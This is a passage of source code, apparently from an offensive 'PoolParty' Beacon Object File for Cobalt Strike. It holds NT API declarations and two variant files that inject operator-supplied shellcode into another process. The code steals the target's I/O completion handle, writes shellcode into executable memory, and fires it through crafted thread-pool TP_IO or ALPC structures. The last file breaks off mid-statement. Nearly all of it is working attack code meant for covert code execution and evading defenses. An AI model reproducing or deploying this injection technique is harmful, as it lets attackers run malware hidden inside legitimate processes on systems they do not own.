AlpcMessageZoneInformation, // s: in ALPC_PORT_MESSAGE_ZONE_INFORMATION 561 | AlpcRegisterCompletionListInformation, // s: in ALPC_PORT_COMPLETION_LIST_INFORMATION 562 | AlpcUnregisterCompletionListInformation, // s: VOID 563 | AlpcAdjustCompletionListConcurrencyCountInformation, // s: in ULONG 564 | AlpcRegisterCallbackInformation, // s: ALPC_REGISTER_CALLBACK // kernel-mode only 565 | AlpcCompletionListRundownInformation, // s: VOID // 10 566 | AlpcWaitForPortReferences, 567 | AlpcServerSessionInformation // q: ALPC_SERVER_SESSION_INFORMATION // since 19H2 568 | } ALPC_PORT_INFORMATION_CLASS; 569 | 570 | 571 | typedef NTSTATUS (NTAPI* _NtAlpcSetInformation)( 572 | HANDLE PortHandle, 573 | ALPC_PORT_INFORMATION_CLASS PortInformationClass, 574 | PVOID PortInformation, 575 | ULONG Length 576 | ); 577 | 578 | typedef struct _CLIENT_ID 579 | { 580 | HANDLE UniqueProcess; 581 | HANDLE UniqueThread; 582 | } CLIENT_ID, * PCLIENT_ID; 583 | 584 | 585 | typedef struct _PORT_MESSAGE 586 | { 587 | union 588 | { 589 | struct 590 | { 591 | USHORT DataLength; 592 | USHORT TotalLength; 593 | } s1; 594 | ULONG Length; 595 | } u1; 596 | union 597 | { 598 | struct 599 | { 600 | USHORT Type; 601 | USHORT DataInfoOffset; 602 | } s2; 603 | ULONG ZeroInit; 604 | } u2; 605 | union 606 | { 607 | CLIENT_ID ClientId; 608 | double DoNotUseThisField; 609 | }; 610 | ULONG MessageId; 611 | union 612 | { 613 | SIZE_T ClientViewSize; // only valid for LPC_CONNECTION_REQUEST messages 614 | ULONG CallbackId; // only valid for LPC_REQUEST messages 615 | }; 616 | } PORT_MESSAGE, * PPORT_MESSAGE; 617 | typedef struct _ALPC_MESSAGE { 618 | PORT_MESSAGE PortHeader; 619 | BYTE PortMessage[1000]; 620 | } ALPC_MESSAGE, * PALPC_MESSAGE; 621 | 622 | typedef struct _ALPC_MESSAGE_ATTRIBUTES 623 | { 624 | ULONG AllocatedAttributes; 625 | ULONG ValidAttributes; 626 | } ALPC_MESSAGE_ATTRIBUTES, * PALPC_MESSAGE_ATTRIBUTES; 627 | 628 | typedef NTSTATUS (NTAPI* _NtAlpcConnectPort)( 629 | PHANDLE PortHandle, 630 | PUNICODE_STRING PortName, 631 | POBJECT_ATTRIBUTES ObjectAttributes, 632 | PALPC_PORT_ATTRIBUTES PortAttributes, 633 | ULONG Flags, 634 | PSID RequiredServerSid, 635 | PPORT_MESSAGE ConnectionMessage, 636 | PSIZE_T BufferLength, 637 | PALPC_MESSAGE_ATTRIBUTES OutMessageAttributes, 638 | PALPC_MESSAGE_ATTRIBUTES InMessageAttributes, 639 | PLARGE_INTEGER Timeout 640 | ); 641 | 642 | typedef struct _IO_STATUS_BLOCK 643 | { 644 | union 645 | { 646 | NTSTATUS Status; 647 | PVOID Pointer; 648 | }; 649 | ULONG_PTR Information; 650 | } IO_STATUS_BLOCK, * PIO_STATUS_BLOCK; 651 | 652 | typedef struct _FILE_COMPLETION_INFORMATION 653 | { 654 | HANDLE Port; 655 | PVOID Key; 656 | } FILE_COMPLETION_INFORMATION, * PFILE_COMPLETION_INFORMATION; 657 | 658 | typedef enum _FILE_INFORMATION_CLASS 659 | { 660 | FileDirectoryInformation = 1, // q: FILE_DIRECTORY_INFORMATION (requires FILE_LIST_DIRECTORY) (NtQueryDirectoryFile[Ex]) 661 | FileFullDirectoryInformation, // q: FILE_FULL_DIR_INFORMATION (requires FILE_LIST_DIRECTORY) (NtQueryDirectoryFile[Ex]) 662 | FileBothDirectoryInformation, // q: FILE_BOTH_DIR_INFORMATION (requires FILE_LIST_DIRECTORY) (NtQueryDirectoryFile[Ex]) 663 | FileBasicInformation, // q; s: FILE_BASIC_INFORMATION (q: requires FILE_READ_ATTRIBUTES; s: requires FILE_WRITE_ATTRIBUTES) 664 | FileStandardInformation, // q: FILE_STANDARD_INFORMATION, FILE_STANDARD_INFORMATION_EX 665 | FileInternalInformation, // q: FILE_INTERNAL_INFORMATION 666 | FileEaInformation, // q: FILE_EA_INFORMATION 667 | FileAccessInformation, // q: FILE_ACCESS_INFORMATION 668 | FileNameInformation, // q: FILE_NAME_INFORMATION 669 | FileRenameInformation, // s: FILE_RENAME_INFORMATION (requires DELETE) // 10 670 | FileLinkInformation, // s: FILE_LINK_INFORMATION 671 | FileNamesInformation, // q: FILE_NAMES_INFORMATION (requires FILE_LIST_DIRECTORY) (NtQueryDirectoryFile[Ex]) 672 | FileDispositionInformation, // s: FILE_DISPOSITION_INFORMATION (requires DELETE) 673 | FilePositionInformation, // q; s: FILE_POSITION_INFORMATION 674 | FileFullEaInformation, // FILE_FULL_EA_INFORMATION 675 | FileModeInformation, // q; s: FILE_MODE_INFORMATION 676 | FileAlignmentInformation, // q: FILE_ALIGNMENT_INFORMATION 677 | FileAllInformation, // q: FILE_ALL_INFORMATION (requires FILE_READ_ATTRIBUTES) 678 | FileAllocationInformation, // s: FILE_ALLOCATION_INFORMATION (requires FILE_WRITE_DATA) 679 | FileEndOfFileInformation, // s: FILE_END_OF_FILE_INFORMATION (requires FILE_WRITE_DATA) // 20 680 | FileAlternateNameInformation, // q: FILE_NAME_INFORMATION 681 | FileStreamInformation, // q: FILE_STREAM_INFORMATION 682 | FilePipeInformation, // q; s: FILE_PIPE_INFORMATION (q: requires FILE_READ_ATTRIBUTES; s: requires FILE_WRITE_ATTRIBUTES) 683 | FilePipeLocalInformation, // q: FILE_PIPE_LOCAL_INFORMATION (requires FILE_READ_ATTRIBUTES) 684 | FilePipeRemoteInformation, // q; s: FILE_PIPE_REMOTE_INFORMATION (q: requires FILE_READ_ATTRIBUTES; s: requires FILE_WRITE_ATTRIBUTES) 685 | FileMailslotQueryInformation, // q: FILE_MAILSLOT_QUERY_INFORMATION 686 | FileMailslotSetInformation, // s: FILE_MAILSLOT_SET_INFORMATION 687 | FileCompressionInformation, // q: FILE_COMPRESSION_INFORMATION 688 | FileObjectIdInformation, // q: FILE_OBJECTID_INFORMATION (requires FILE_LIST_DIRECTORY) (NtQueryDirectoryFile[Ex]) 689 | FileCompletionInformation, // s: FILE_COMPLETION_INFORMATION // 30 690 | FileMoveClusterInformation, // s: FILE_MOVE_CLUSTER_INFORMATION (requires FILE_WRITE_DATA) 691 | FileQuotaInformation, // q: FILE_QUOTA_INFORMATION (requires FILE_LIST_DIRECTORY) (NtQueryDirectoryFile[Ex]) 692 | FileReparsePointInformation, // q: FILE_REPARSE_POINT_INFORMATION (requires FILE_LIST_DIRECTORY) (NtQueryDirectoryFile[Ex]) 693 | FileNetworkOpenInformation, // q: FILE_NETWORK_OPEN_INFORMATION (requires FILE_READ_ATTRIBUTES) 694 | FileAttributeTagInformation, // q: FILE_ATTRIBUTE_TAG_INFORMATION (requires FILE_READ_ATTRIBUTES) 695 | FileTrackingInformation, // s: FILE_TRACKING_INFORMATION (requires FILE_WRITE_DATA) 696 | FileIdBothDirectoryInformation, // q: FILE_ID_BOTH_DIR_INFORMATION (requires FILE_LIST_DIRECTORY) (NtQueryDirectoryFile[Ex]) 697 | FileIdFullDirectoryInformation, // q: FILE_ID_FULL_DIR_INFORMATION (requires FILE_LIST_DIRECTORY) (NtQueryDirectoryFile[Ex]) 698 | FileValidDataLengthInformation, // s: FILE_VALID_DATA_LENGTH_INFORMATION (requires FILE_WRITE_DATA and/or SeManageVolumePrivilege) 699 | FileShortNameInformation, // s: FILE_NAME_INFORMATION (requires DELETE) // 40 700 | FileIoCompletionNotificationInformation, // q; s: FILE_IO_COMPLETION_NOTIFICATION_INFORMATION (q: requires FILE_READ_ATTRIBUTES) // since VISTA 701 | FileIoStatusBlockRangeInformation, // s: FILE_IOSTATUSBLOCK_RANGE_INFORMATION (requires SeLockMemoryPrivilege) 702 | FileIoPriorityHintInformation, // q; s: FILE_IO_PRIORITY_HINT_INFORMATION, FILE_IO_PRIORITY_HINT_INFORMATION_EX (q: requires FILE_READ_DATA) 703 | FileSfioReserveInformation, // q; s: FILE_SFIO_RESERVE_INFORMATION (q: requires FILE_READ_DATA) 704 | FileSfioVolumeInformation, // q: FILE_SFIO_VOLUME_INFORMATION (requires FILE_READ_ATTRIBUTES) 705 | FileHardLinkInformation, // q: FILE_LINKS_INFORMATION 706 | FileProcessIdsUsingFileInformation, // q: FILE_PROCESS_IDS_USING_FILE_INFORMATION (requires FILE_READ_ATTRIBUTES) 707 | FileNormalizedNameInformation, // q: FILE_NAME_INFORMATION 708 | FileNetworkPhysicalNameInformation, // q: FILE_NETWORK_PHYSICAL_NAME_INFORMATION 709 | FileIdGlobalTxDirectoryInformation, // q: FILE_ID_GLOBAL_TX_DIR_INFORMATION (requires FILE_LIST_DIRECTORY) (NtQueryDirectoryFile[Ex]) // since WIN7 // 50 710 | FileIsRemoteDeviceInformation, // q: FILE_IS_REMOTE_DEVICE_INFORMATION (requires FILE_READ_ATTRIBUTES) 711 | FileUnusedInformation, 712 | FileNumaNodeInformation, // q: FILE_NUMA_NODE_INFORMATION 713 | FileStandardLinkInformation, // q: FILE_STANDARD_LINK_INFORMATION 714 | FileRemoteProtocolInformation, // q: FILE_REMOTE_PROTOCOL_INFORMATION 715 | FileRenameInformationBypassAccessCheck, // (kernel-mode only); s: FILE_RENAME_INFORMATION // since WIN8 716 | FileLinkInformationBypassAccessCheck, // (kernel-mode only); s: FILE_LINK_INFORMATION 717 | FileVolumeNameInformation, // q: FILE_VOLUME_NAME_INFORMATION 718 | FileIdInformation, // q: FILE_ID_INFORMATION 719 | FileIdExtdDirectoryInformation, // q: FILE_ID_EXTD_DIR_INFORMATION (requires FILE_LIST_DIRECTORY) (NtQueryDirectoryFile[Ex]) // 60 720 | FileReplaceCompletionInformation, // s: FILE_COMPLETION_INFORMATION // since WINBLUE 721 | FileHardLinkFullIdInformation, // q: FILE_LINK_ENTRY_FULL_ID_INFORMATION // FILE_LINKS_FULL_ID_INFORMATION 722 | FileIdExtdBothDirectoryInformation, // q: FILE_ID_EXTD_BOTH_DIR_INFORMATION (requires FILE_LIST_DIRECTORY) (NtQueryDirectoryFile[Ex]) // since THRESHOLD 723 | FileDispositionInformationEx, // s: FILE_DISPOSITION_INFO_EX (requires DELETE) // since REDSTONE 724 | FileRenameInformationEx, // s: FILE_RENAME_INFORMATION_EX 725 | FileRenameInformationExBypassAccessCheck, // (kernel-mode only); s: FILE_RENAME_INFORMATION_EX 726 | FileDesiredStorageClassInformation, // q; s: FILE_DESIRED_STORAGE_CLASS_INFORMATION (q: requires FILE_READ_ATTRIBUTES; s: requires FILE_WRITE_ATTRIBUTES) // since REDSTONE2 727 | FileStatInformation, // q: FILE_STAT_INFORMATION (requires FILE_READ_ATTRIBUTES) 728 | FileMemoryPartitionInformation, // s: FILE_MEMORY_PARTITION_INFORMATION // since REDSTONE3 729 | FileStatLxInformation, // q: FILE_STAT_LX_INFORMATION (requires FILE_READ_ATTRIBUTES and FILE_READ_EA) // since REDSTONE4 // 70 730 | FileCaseSensitiveInformation, // q; s: FILE_CASE_SENSITIVE_INFORMATION (q: requires FILE_READ_ATTRIBUTES; s: requires FILE_WRITE_ATTRIBUTES) 731 | FileLinkInformationEx, // s: FILE_LINK_INFORMATION_EX // since REDSTONE5 732 | FileLinkInformationExBypassAccessCheck, // (kernel-mode only); s: FILE_LINK_INFORMATION_EX 733 | FileStorageReserveIdInformation, // q; s: FILE_STORAGE_RESERVE_ID_INFORMATION (q: requires FILE_READ_ATTRIBUTES; s: requires FILE_WRITE_ATTRIBUTES) 734 | FileCaseSensitiveInformationForceAccessCheck, // q; s: FILE_CASE_SENSITIVE_INFORMATION 735 | FileKnownFolderInformation, // q; s: FILE_KNOWN_FOLDER_INFORMATION (q: requires FILE_READ_ATTRIBUTES; s: requires FILE_WRITE_ATTRIBUTES) // since WIN11 736 | FileStatBasicInformation, // since 23H2 737 | FileId64ExtdDirectoryInformation, 738 | FileId64ExtdBothDirectoryInformation, 739 | FileIdAllExtdDirectoryInformation, 740 | FileIdAllExtdBothDirectoryInformation, 741 | FileMaximumInformation 742 | } FILE_INFORMATION_CLASS, * PFILE_INFORMATION_CLASS; 743 | 744 | 745 | typedef NTSTATUS (NTAPI* _NtSetInformationFile)( 746 | HANDLE FileHandle, 747 | PIO_STATUS_BLOCK IoStatusBlock, 748 | PVOID FileInformation, 749 | ULONG Length, 750 | FILE_INFORMATION_CLASS FileInformationClass 751 | ); 752 | 753 | 754 | // 755 | // COMMON SHIT 756 | // 757 | WINBASEAPI int WINAPI MSVCRT$rand(void); 758 | WINBASEAPI void WINAPI MSVCRT$srand(unsigned int seed); 759 | WINBASEAPI time_t WINAPI MSVCRT$time(time_t *seconds); 760 | WINBASEAPI void *__cdecl MSVCRT$realloc(void *_Memory, size_t _NewSize); 761 | WINBASEAPI wchar_t *__cdecl MSVCRT$wcscmp(const wchar_t *_lhs,const wchar_t *_rhs); 762 | WINBASEAPI errno_t __cdecl MSVCRT$wcscpy_s(wchar_t *_Dst, rsize_t _DstSize, const wchar_t *_Src); 763 | WINBASEAPI errno_t __cdecl MSVCRT$wcscat_s(wchar_t *_Dst, rsize_t _DstSize, const wchar_t *_Src); 764 | WINBASEAPI void* WINAPI MSVCRT$malloc(size_t size); 765 | WINBASEAPI size_t __cdecl MSVCRT$wcslen(const wchar_t *_Str); 766 | WINBASEAPI HANDLE WINAPI KERNEL32$GetCurrentProcess (VOID); 767 | WINBASEAPI BOOL WINAPI KERNEL32$DuplicateHandle(HANDLE hSourceProcessHandle, HANDLE hSourceHandle, HANDLE hTargetProcessHandle, LPHANDLE lpTargetHandle, DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwOptions); 768 | WINBASEAPI LPVOID WINAPI KERNEL32$VirtualAllocEx(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect); 769 | WINBASEAPI HANDLE WINAPI KERNEL32$OpenProcess (DWORD dwDesiredAccess, WINBOOL bInheritHandle, DWORD dwProcessId); 770 | WINBASEAPI BOOL WINAPI KERNEL32$WriteProcessMemory(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten); 771 | WINBASEAPI PTP_TIMER WINAPI KERNEL32$CreateThreadpoolTimer( PTP_TIMER_CALLBACK pfnti, PVOID pv, PTP_CALLBACK_ENVIRON pcbe); 772 | WINBASEAPI BOOL WINAPI KERNEL32$SetInformationJobObject(HANDLE hJob, JOBOBJECTINFOCLASS JobObjectInformationClass, LPVOID lpJobObjectInformation, DWORD cbJobObjectInformationLength); 773 | WINBASEAPI BOOL WINAPI KERNEL32$AssignProcessToJobObject(HANDLE hJob, HANDLE hProcess); 774 | WINBASEAPI HANDLE WINAPI KERNEL32$CreateJobObjectA(LPSECURITY_ATTRIBUTES lpJobAttributes, LPCSTR lpName); 775 | WINBASEAPI HANDLE WINAPI KERNEL32$CreateFileW(LPCWSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile); 776 | WINBASEAPI PTP_IO WINAPI KERNEL32$CreateThreadpoolIo( HANDLE fl, PTP_WIN32_IO_CALLBACK pfnio, PVOID pv, PTP_CALLBACK_ENVIRON pcbe); 777 | WINBASEAPI BOOL WINAPI KERNEL32$WriteFile(HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped); 778 | 779 | HANDLE m_p_hTargetPid = NULL; 780 | DWORD m_dwTargetPid = 0; 781 | PVOID m_ShellcodeAddress = NULL; 782 | unsigned char * m_cShellcode = NULL; 783 | int m_szShellcodeSize = 0; 784 | 785 | BYTE* NtQueryObject_(HANDLE x, OBJECT_INFORMATION_CLASS y) { 786 | _NtQueryObject NtQueryObject = (_NtQueryObject)(GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQueryObject")); 787 | ULONG InformationLength = 0; 788 | NTSTATUS Ntstatus = STATUS_INFO_LENGTH_MISMATCH; 789 | BYTE* Information = NULL; 790 | 791 | do { 792 | Information = (BYTE*)MSVCRT$realloc(Information, InformationLength); 793 | Ntstatus = NtQueryObject(x, y, Information, InformationLength, &InformationLength); 794 | } while (STATUS_INFO_LENGTH_MISMATCH == Ntstatus); 795 | 796 | return Information; 797 | } 798 | 799 | HANDLE HijackProcessHandle(PWSTR wsObjectType ,HANDLE p_hTarget, DWORD dwDesiredAccess) { 800 | _NtQueryInformationProcess NtQueryInformationProcess = (_NtQueryInformationProcess)(GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQueryInformationProcess")); 801 | 802 | BYTE* Information = NULL; 803 | ULONG InformationLength = 0; 804 | NTSTATUS Ntstatus = STATUS_INFO_LENGTH_MISMATCH; 805 | 806 | do { 807 | Information = (BYTE*)MSVCRT$realloc(Information, InformationLength); 808 | Ntstatus = NtQueryInformationProcess(p_hTarget, (PROCESSINFOCLASS)(ProcessHandleInformation), Information, InformationLength, &InformationLength); 809 | } while (STATUS_INFO_LENGTH_MISMATCH == Ntstatus); 810 | 811 | 812 | PPROCESS_HANDLE_SNAPSHOT_INFORMATION pProcessHandleInformation = (PPROCESS_HANDLE_SNAPSHOT_INFORMATION)(Information); 813 | 814 | HANDLE p_hDuplicatedObject; 815 | ULONG InformationLength_ = 0; 816 | 817 | for (int i = 0; i < pProcessHandleInformation->NumberOfHandles; i++) { 818 | KERNEL32$DuplicateHandle( 819 | p_hTarget, 820 | pProcessHandleInformation->Handles[i].HandleValue, 821 | KERNEL32$GetCurrentProcess(), 822 | &p_hDuplicatedObject, 823 | dwDesiredAccess, 824 | FALSE, 825 | (DWORD_PTR)NULL); 826 | 827 | BYTE* pObjectInformation; 828 | pObjectInformation = NtQueryObject_(p_hDuplicatedObject, ObjectTypeInformation); 829 | PPUBLIC_OBJECT_TYPE_INFORMATION pObjectTypeInformation = (PPUBLIC_OBJECT_TYPE_INFORMATION)(pObjectInformation); 830 | 831 | if (MSVCRT$wcscmp(wsObjectType, pObjectTypeInformation->TypeName.Buffer) != 0) { 832 | continue; 833 | } 834 | 835 | return p_hDuplicatedObject; 836 | } 837 | } 838 | 839 | LPVOID AllocateShellcodeMemory() { 840 | LPVOID ShellcodeAddress = KERNEL32$VirtualAllocEx(m_p_hTargetPid, NULL, m_szShellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); 841 | if (ShellcodeAddress == NULL) { 842 | BeaconPrintf(CALLBACK_OUTPUT, "[INFO] Something went wrong"); 843 | return NULL; 844 | } 845 | BeaconPrintf(CALLBACK_OUTPUT, "[INFO] Allocated shellcode memory in the target process: %p", ShellcodeAddress); 846 | return ShellcodeAddress; 847 | } 848 | 849 | HANDLE GetTargetProcessHandle() { 850 | HANDLE p_hTargetPid = KERNEL32$OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_DUP_HANDLE | PROCESS_QUERY_INFORMATION, FALSE, m_dwTargetPid); 851 | if (p_hTargetPid == NULL) { 852 | return NULL; 853 | } 854 | else { 855 | BeaconPrintf(CALLBACK_OUTPUT, "[INFO] Retrieved handle to the target process: %p", p_hTargetPid); 856 | return p_hTargetPid; 857 | } 858 | } 859 | 860 | BOOL WriteShellcode() { 861 | BOOL res = KERNEL32$WriteProcessMemory(m_p_hTargetPid, m_ShellcodeAddress, m_cShellcode, m_szShellcodeSize, NULL); 862 | if (res == 0) { 863 | return FALSE; 864 | } 865 | else{ 866 | BeaconPrintf(CALLBACK_OUTPUT, "[INFO] Written shellcode to the target process"); 867 | return TRUE; 868 | } 869 | } -------------------------------------------------------------------------------- /src/Varient_4.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "PoolPartyBof.h" 3 | 4 | HANDLE m_p_hIoCompletion = NULL; 5 | 6 | HANDLE HijackIoCompletionProcessHandle(HANDLE p_hTarget) { 7 | return HijackProcessHandle((PWSTR)L"IoCompletion\0", p_hTarget, IO_COMPLETION_ALL_ACCESS); 8 | } 9 | 10 | HANDLE GetTargetThreadPoolIoCompletionHandle() { 11 | HANDLE p_hIoCompletion = HijackIoCompletionProcessHandle(m_p_hTargetPid); 12 | BeaconPrintf(CALLBACK_OUTPUT, "[INFO] Hijacked I/O completion handle from the target process: %x", p_hIoCompletion); 13 | return p_hIoCompletion; 14 | } 15 | 16 | wchar_t generateRandomLetter() { 17 | return L'A' + MSVCRT$rand() % 26; 18 | } 19 | 20 | wchar_t* generateRandomLetters(int length) { 21 | wchar_t* randomLetters = (wchar_t*)MSVCRT$malloc((length + 1) * sizeof(wchar_t)); 22 | for (int i = 0; i < length; ++i) { 23 | randomLetters[i] = generateRandomLetter(); 24 | } 25 | randomLetters[length] = L'\0'; 26 | return randomLetters; 27 | } 28 | 29 | #define POOL_PARTY_POEM "Dive right in and make a splash,\n" \ 30 | "We're throwing a pool party in a flash!\n" \ 31 | "Bring your swimsuits and sunscreen galore,\n" \ 32 | "We'll turn up the heat and let the good times pour!\n" 33 | 34 | void RemoteTpAlpcInsertionSetupExecution() { 35 | _NtSetInformationFile ZwSetInformationFile = (_NtSetInformationFile)(GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtSetInformationFile")); 36 | MSVCRT$srand((unsigned int)MSVCRT$time(NULL)); 37 | wchar_t* POOL_PARTY_FILE_NAME = generateRandomLetters(7); 38 | HANDLE p_hFile = KERNEL32$CreateFileW( 39 | POOL_PARTY_FILE_NAME, 40 | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, 41 | NULL, 42 | CREATE_ALWAYS, 43 | FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED, 44 | NULL); 45 | BeaconPrintf(CALLBACK_OUTPUT, "Created pool party file: `%ls`", POOL_PARTY_FILE_NAME); 46 | 47 | PFULL_TP_IO pTpIo = (PFULL_TP_IO)KERNEL32$CreateThreadpoolIo(p_hFile, (PTP_WIN32_IO_CALLBACK)(m_ShellcodeAddress), NULL, NULL); 48 | BeaconPrintf(CALLBACK_OUTPUT, "Created TP_IO structure associated with the shellcode"); 49 | 50 | /* Not sure why this field is not filled by CreateThreadpoolIo, need to analyze */ 51 | pTpIo->CleanupGroupMember.Callback = m_ShellcodeAddress; 52 | 53 | ++pTpIo->PendingIrpCount; 54 | BeaconPrintf(CALLBACK_OUTPUT, "Started async IO operation within the TP_IO"); 55 | 56 | PFULL_TP_IO pRemoteTpIo = (PFULL_TP_IO)(KERNEL32$VirtualAllocEx(m_p_hTargetPid, NULL, sizeof(FULL_TP_IO), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)); 57 | BeaconPrintf(CALLBACK_OUTPUT, "Allocated TP_IO memory in the target process: %p", pRemoteTpIo); 58 | KERNEL32$WriteProcessMemory(m_p_hTargetPid, pRemoteTpIo, pTpIo, sizeof(FULL_TP_IO), NULL); 59 | BeaconPrintf(CALLBACK_OUTPUT, "Written the specially crafted TP_IO structure to the target process"); 60 | 61 | IO_STATUS_BLOCK IoStatusBlock = { 0 }; 62 | FILE_COMPLETION_INFORMATION FileIoCopmletionInformation = { 0 }; 63 | FileIoCopmletionInformation.Port = m_p_hIoCompletion; 64 | FileIoCopmletionInformation.Key = &pRemoteTpIo->Direct; 65 | ZwSetInformationFile(p_hFile, &IoStatusBlock, &FileIoCopmletionInformation, sizeof(FILE_COMPLETION_INFORMATION), FileReplaceCompletionInformation); 66 | BeaconPrintf(CALLBACK_OUTPUT, "Associated file `%s` with the IO completion port of the target process worker factory", POOL_PARTY_FILE_NAME); 67 | 68 | const char* Buffer = POOL_PARTY_POEM; 69 | SIZE_T BufferLength = sizeof(Buffer); 70 | OVERLAPPED Overlapped = { 0 }; 71 | KERNEL32$WriteFile(p_hFile, Buffer, BufferLength, NULL, &Overlapped); 72 | BeaconPrintf(CALLBACK_OUTPUT, "Write to file `%s` to queue a packet to the IO completion port of the target process worker factory", POOL_PARTY_FILE_NAME); 73 | } 74 | 75 | 76 | void HijackHandles() { 77 | m_p_hIoCompletion = GetTargetThreadPoolIoCompletionHandle(); 78 | } 79 | 80 | void Inject() { 81 | BeaconPrintf(CALLBACK_OUTPUT, "[INFO] Starting PoolParty attack against process id: %d", m_dwTargetPid); 82 | m_p_hTargetPid = GetTargetProcessHandle(); 83 | if (m_p_hTargetPid == NULL) { 84 | BeaconPrintf(CALLBACK_ERROR, "[INFO] Cannot Open Process!"); 85 | return; 86 | } 87 | HijackHandles(); 88 | m_ShellcodeAddress = AllocateShellcodeMemory(); 89 | if (m_ShellcodeAddress == NULL) { 90 | BeaconPrintf(CALLBACK_ERROR, "[INFO] AllocateShellcodeMemory Failed!"); 91 | return; 92 | } 93 | if (!WriteShellcode()) { 94 | BeaconPrintf(CALLBACK_ERROR, "[INFO] WriteShellcode Failed!"); 95 | return; 96 | } 97 | RemoteTpAlpcInsertionSetupExecution(); 98 | BeaconPrintf(CALLBACK_OUTPUT, "[INFO] PoolParty attack completed."); 99 | } 100 | 101 | void go(char * args, int len) { 102 | datap parser; 103 | BeaconDataParse(&parser, args, len); 104 | m_dwTargetPid = BeaconDataInt(&parser); 105 | m_cShellcode = BeaconDataExtract(&parser, &m_szShellcodeSize); 106 | BeaconPrintf(CALLBACK_OUTPUT, "[INFO] Shellcode Size: %d bytes", m_szShellcodeSize); 107 | Inject(); 108 | } -------------------------------------------------------------------------------- /src/Varient_5.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "PoolPartyBof.h" 3 | 4 | HANDLE m_p_hIoCompletion = NULL; 5 | 6 | HANDLE HijackIoCompletionProcessHandle(HANDLE p_hTarget) { 7 | return HijackProcessHandle((PWSTR)L"IoCompletion\0", p_hTarget, IO_COMPLETION_ALL_ACCESS); 8 | } 9 | 10 | HANDLE GetTargetThreadPoolIoCompletionHandle() { 11 | HANDLE p_hIoCompletion = HijackIoCompletionProcessHandle(m_p_hTargetPid); 12 | BeaconPrintf(CALLBACK_OUTPUT, "[INFO] Hijacked I/O completion handle from the target process: %x", p_hIoCompletion); 13 | return p_hIoCompletion; 14 | } 15 | 16 | 17 | #define POOL_PARTY_ALPC_PORT_NAME_PREFIX L"\\RPC Control\\" 18 | #define PORT_NAME_LENGTH 16 19 | #define INIT_UNICODE_STRING(str) { sizeof(str) - sizeof((str)[0]), sizeof(str) - sizeof((str)[0]), (PWSTR)(str) } 20 | #define POOL_PARTY_POEM "Dive right in and make a splash,\n" \ 21 | "We're throwing a pool party in a flash!\n" \ 22 | "Bring your swimsuits and sunscreen galore,\n" \ 23 | "We'll turn up the heat and let the good times pour!\n" 24 | 25 | wchar_t generateRandomLetter() { 26 | return L'A' + MSVCRT$rand() % 26; 27 | } 28 | 29 | wchar_t* generateRandomLetters(int length) { 30 | wchar_t* randomLetters = (wchar_t*)MSVCRT$malloc((length + 1) * sizeof(wchar_t)); 31 | for (int i = 0; i < length; ++i) { 32 | randomLetters[i] = generateRandomLetter(); 33 | } 34 | randomLetters[length] = L'\0'; 35 | return randomLetters; 36 | } 37 | 38 | void RemoteTpAlpcInsertionSetupExecution() { 39 | MSVCRT$srand((unsigned int)MSVCRT$time(NULL)); 40 | wchar_t* randomLetters = generateRandomLetters(PORT_NAME_LENGTH); 41 | size_t prefixLength = MSVCRT$wcslen(POOL_PARTY_ALPC_PORT_NAME_PREFIX); 42 | size_t totalLength = prefixLength + PORT_NAME_LENGTH + 1; 43 | wchar_t* portName = (wchar_t*)MSVCRT$malloc((MSVCRT$wcslen(POOL_PARTY_ALPC_PORT_NAME_PREFIX) + PORT_NAME_LENGTH + 1) * sizeof(wchar_t)); 44 | MSVCRT$wcscpy_s(portName, totalLength, POOL_PARTY_ALPC_PORT_NAME_PREFIX); 45 | MSVCRT$wcscat_s(portName, totalLength, randomLetters); 46 | wchar_t* POOL_PARTY_ALPC_PORT_NAME = portName; 47 | 48 | _NtAlpcCreatePort NtAlpcCreatePort = (_NtAlpcCreatePort)(GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtAlpcCreatePort")); 49 | _TpAllocAlpcCompletion TpAllocAlpcCompletion = (_TpAllocAlpcCompletion)(GetProcAddress(GetModuleHandleA("ntdll.dll"), "TpAllocAlpcCompletion")); 50 | _NtAlpcSetInformation NtAlpcSetInformation = (_NtAlpcSetInformation)(GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtAlpcSetInformation")); 51 | _NtAlpcConnectPort NtAlpcConnectPort = (_NtAlpcConnectPort)(GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtAlpcConnectPort")); 52 | 53 | HANDLE hTempAlpcConnectionPort; 54 | NTSTATUS Ntstatus = NtAlpcCreatePort(&hTempAlpcConnectionPort, NULL, NULL); 55 | if (!NT_SUCCESS(Ntstatus)) { 56 | BeaconPrintf(CALLBACK_OUTPUT, "[INFO] Failed to create a temporary ALPC port."); 57 | return; 58 | } 59 | BeaconPrintf(CALLBACK_OUTPUT, "[INFO] Created a temporary ALPC port: %d", hTempAlpcConnectionPort); 60 | 61 | PFULL_TP_ALPC pTpAlpc = { 0 }; 62 | Ntstatus = TpAllocAlpcCompletion(&pTpAlpc, hTempAlpcConnectionPort, (PTP_ALPC_CALLBACK)(m_ShellcodeAddress), NULL, NULL); 63 | if (!NT_SUCCESS(Ntstatus)) { 64 | BeaconPrintf(CALLBACK_OUTPUT, "[INFO] Failed to create TP_ALPC structure associated with the shellcode."); 65 | return; 66 | } 67 | BeaconPrintf(CALLBACK_OUTPUT, "[INFO] Created TP_ALPC structure associated with the shellcode"); 68 | 69 | UNICODE_STRING usAlpcPortName = 